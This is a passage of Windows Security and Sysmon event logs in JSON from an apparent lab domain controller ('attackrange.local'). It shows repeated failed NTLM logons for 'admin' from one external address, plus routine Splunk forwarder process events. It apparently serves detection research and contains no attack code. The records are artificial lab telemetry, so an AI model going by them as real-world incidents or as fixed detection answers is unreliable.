11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221495,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60478\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60478","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221496,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60562\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60562","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221497,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t60617\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"60617","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.583\r\nProcessGuid: {90617006-3FEB-5F2D-0000-001073680300}\r\nProcessId: 3724\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.583","ProcessGuid":"{90617006-3FEB-5F2D-0000-001073680300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","FileVersion":"10.0.10011.16384","Description":"SplunkMonNoHandle Control Program","Product":"Windows (R) Win 7 DDK driver","Company":"Windows (R) Win 7 DDK provider","OriginalFileName":"SplunkMonNoHandle.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEB-5F2D-0000-001073680300}\r\nTargetProcessId: 3724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEB-5F2D-0000-001073680300}","TargetProcessId":"3724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEB-5F2D-0000-001073680300}\r\nTargetProcessId: 3724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEB-5F2D-0000-001073680300}","TargetProcessId":"3724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:03.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:03.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 